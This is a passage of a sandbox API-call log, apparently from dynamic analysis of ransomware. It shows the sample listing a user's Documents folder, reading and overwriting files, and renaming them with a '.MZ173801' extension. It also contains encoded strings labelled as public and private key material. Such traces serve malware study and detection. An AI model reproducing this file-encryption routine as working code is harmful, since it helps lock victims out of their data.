lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.616] GetCurrentThreadId () returned 0xab4 [0169.616] GetCurrentThreadId () returned 0xab4 [0169.616] GetCurrentThreadId () returned 0xab4 [0169.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Zfw8B2NL L0e8.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zfw8b2nl l0e8.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.616] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0169.616] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.616] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xa6b [0169.616] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.616] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0xa6b, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f74c*=0xa6b, lpOverlapped=0x0) returned 1 [0169.617] CloseHandle (hObject=0x2f8) returned 1 [0169.617] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Zfw8B2NL L0e8.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zfw8b2nl l0e8.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.618] WriteFile (in: hFile=0x2f8, lpBuffer=0x24aafa0*, nNumberOfBytesToWrite=0xa6b, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24aafa0*, lpNumberOfBytesWritten=0x19f758*=0xa6b, lpOverlapped=0x0) returned 1 [0169.619] CloseHandle (hObject=0x2f8) returned 1 [0169.619] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Zfw8B2NL L0e8.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zfw8b2nl l0e8.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Zfw8B2NL L0e8.pdf.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zfw8b2nl l0e8.pdf.mz173801")) returned 1 [0169.620] GetCurrentThreadId () returned 0xab4 [0169.620] GetCurrentThreadId () returned 0xab4 [0169.620] GetCurrentThreadId () returned 0xab4 [0169.620] GetCurrentThreadId () returned 0xab4 [0169.620] GetCurrentThreadId () returned 0xab4 [0169.620] GetCurrentThreadId () returned 0xab4 [0169.620] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb1db60, ftCreationTime.dwHighDateTime=0x1d5e8a5, ftLastAccessTime.dwLowDateTime=0x6dc5a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e4cb, ftLastWriteTime.dwLowDateTime=0x6dc5a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e4cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="zkcrT -8SHIvOP_POgOU", cAlternateFileName="ZKCRT-~1")) returned 1 [0169.620] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb1db60, ftCreationTime.dwHighDateTime=0x1d5e8a5, ftLastAccessTime.dwLowDateTime=0x6dc5a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e4cb, ftLastWriteTime.dwLowDateTime=0x6dc5a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e4cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="zkcrT -8SHIvOP_POgOU", cAlternateFileName="ZKCRT-~1")) returned 0 [0169.620] GetLastError () returned 0x12 [0169.620] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0169.620] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd340f6c0, ftCreationTime.dwHighDateTime=0x1d5e9ff, ftLastAccessTime.dwLowDateTime=0x8f3dac1f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8f3dac1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0169.620] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0169.620] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.620] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd340f6c0, ftCreationTime.dwHighDateTime=0x1d5e9ff, ftLastAccessTime.dwLowDateTime=0x8f3dac1f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8f3dac1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0169.620] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.620] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.620] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd039c60, ftCreationTime.dwHighDateTime=0x1d5f119, ftLastAccessTime.dwLowDateTime=0x33172590, ftLastAccessTime.dwHighDateTime=0x1d5ebc4, ftLastWriteTime.dwLowDateTime=0x8f0473ff, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xc3e2, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Bm_0O.pptx.MZ173801", cAlternateFileName="BM_0OP~1.MZ1")) returned 1 [0169.620] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.620] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.620] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5152800, ftCreationTime.dwHighDateTime=0x1d5ef85, ftLastAccessTime.dwLowDateTime=0xe3db3bc0, ftLastAccessTime.dwHighDateTime=0x1d5eed8, ftLastWriteTime.dwLowDateTime=0x8f06d686, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe858, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="FLOta7xX0gkrp_QvZlm.pps.MZ173801", cAlternateFileName="FLOTA7~1.MZ1")) returned 1 [0169.620] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.620] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.620] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f8bc330, ftCreationTime.dwHighDateTime=0x1d5ee82, ftLastAccessTime.dwLowDateTime=0x468a15d0, ftLastAccessTime.dwHighDateTime=0x1d5e393, ftLastWriteTime.dwLowDateTime=0x468a15d0, ftLastWriteTime.dwHighDateTime=0x1d5e393, nFileSizeHigh=0x0, nFileSizeLow=0x156fe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="GNOiUpMyGYPL6CR0_4T.ods", cAlternateFileName="GNOIUP~1.ODS")) returned 1 [0169.620] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.620] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.620] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc652b1b0, ftCreationTime.dwHighDateTime=0x1d5e7b6, ftLastAccessTime.dwLowDateTime=0xe1239350, ftLastAccessTime.dwHighDateTime=0x1d5e668, ftLastWriteTime.dwLowDateTime=0x8f25d4f6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x180f2, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="HqBE4s3H uNUYMjPX.xlsx.MZ173801", cAlternateFileName="HQBE4S~1.MZ1")) returned 1 [0169.620] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.620] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.620] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f15eb40, ftCreationTime.dwHighDateTime=0x1d5eda3, ftLastAccessTime.dwLowDateTime=0x46de7b40, ftLastAccessTime.dwHighDateTime=0x1d5e9d1, ftLastWriteTime.dwLowDateTime=0x8f31c13b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="ihvJct4-a.xls.MZ173801", cAlternateFileName="IHVJCT~1.MZ1")) returned 1 [0169.620] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.620] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.621] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78dde5c0, ftCreationTime.dwHighDateTime=0x1d5eaeb, ftLastAccessTime.dwLowDateTime=0x6af4d800, ftLastAccessTime.dwHighDateTime=0x1d5e718, ftLastWriteTime.dwLowDateTime=0x8f31c13b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x69ba, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="m5j0.docx.MZ173801", cAlternateFileName="M5J0DO~1.MZ1")) returned 1 [0169.621] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.621] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.621] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cea2bb0, ftCreationTime.dwHighDateTime=0x1d5e902, ftLastAccessTime.dwLowDateTime=0xfdcaa180, ftLastAccessTime.dwHighDateTime=0x1d5e48b, ftLastWriteTime.dwLowDateTime=0x8f3422c1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x10fd, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Ng-XMX.doc.MZ173801", cAlternateFileName="NG-XMX~1.MZ1")) returned 1 [0169.621] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.621] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.621] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5173310, ftCreationTime.dwHighDateTime=0x1d5ec1e, ftLastAccessTime.dwLowDateTime=0x55af6070, ftLastAccessTime.dwHighDateTime=0x1d5f0a3, ftLastWriteTime.dwLowDateTime=0x8f3dac1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x105e8, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="p6t1b-Chc.docx.MZ173801", cAlternateFileName="P6T1B-~1.MZ1")) returned 1 [0169.621] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.621] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.621] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a7e170, ftCreationTime.dwHighDateTime=0x1d5e253, ftLastAccessTime.dwLowDateTime=0xb26f7d10, ftLastAccessTime.dwHighDateTime=0x1d5ef2f, ftLastWriteTime.dwLowDateTime=0xb26f7d10, ftLastWriteTime.dwHighDateTime=0x1d5ef2f, nFileSizeHigh=0x0, nFileSizeLow=0x100a4, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="stORdcBeyE_X-TsDeG.odp", cAlternateFileName="STORDC~1.ODP")) returned 1 [0169.621] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.621] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.621] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6fa6f0, ftCreationTime.dwHighDateTime=0x1d5e517, ftLastAccessTime.dwLowDateTime=0x3c0f8ba0, ftLastAccessTime.dwHighDateTime=0x1d5ee4a, ftLastWriteTime.dwLowDateTime=0x3c0f8ba0, ftLastWriteTime.dwHighDateTime=0x1d5ee4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="XIPVtvqfodb6mWbl", cAlternateFileName="XIPVTV~1")) returned 1 [0169.621] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.621] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.621] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6fa6f0, ftCreationTime.dwHighDateTime=0x1d5e517, ftLastAccessTime.dwLowDateTime=0x3c0f8ba0, ftLastAccessTime.dwHighDateTime=0x1d5ee4a, ftLastWriteTime.dwLowDateTime=0x3c0f8ba0, ftLastWriteTime.dwHighDateTime=0x1d5ee4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0169.621] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6fa6f0, ftCreationTime.dwHighDateTime=0x1d5e517, ftLastAccessTime.dwLowDateTime=0x3c0f8ba0, ftLastAccessTime.dwHighDateTime=0x1d5ee4a, ftLastWriteTime.dwLowDateTime=0x3c0f8ba0, ftLastWriteTime.dwHighDateTime=0x1d5ee4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0169.621] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33a2d40, ftCreationTime.dwHighDateTime=0x1d5eeec, ftLastAccessTime.dwLowDateTime=0x16202a30, ftLastAccessTime.dwHighDateTime=0x1d5e670, ftLastWriteTime.dwLowDateTime=0x16202a30, ftLastWriteTime.dwHighDateTime=0x1d5e670, nFileSizeHigh=0x0, nFileSizeLow=0x145e8, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="aFvFEbnBHEh4Rtvxta.pptx", cAlternateFileName="AFVFEB~1.PPT")) returned 1 [0169.621] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0169.621] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0169.621] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\aFvFEbnBHEh4Rtvxta.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\afvfebnbheh4rtvxta.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33a2d40, ftCreationTime.dwHighDateTime=0x1d5eeec, ftLastAccessTime.dwLowDateTime=0x16202a30, ftLastAccessTime.dwHighDateTime=0x1d5e670, ftLastWriteTime.dwLowDateTime=0x16202a30, ftLastWriteTime.dwHighDateTime=0x1d5e670, nFileSizeHigh=0x0, nFileSizeLow=0x145e8)) returned 1 [0169.621] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\aFvFEbnBHEh4Rtvxta.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\afvfebnbheh4rtvxta.pptx")) returned 0x20 [0169.621] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\aFvFEbnBHEh4Rtvxta.pptx", dwFileAttributes=0x80) returned 1 [0169.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMc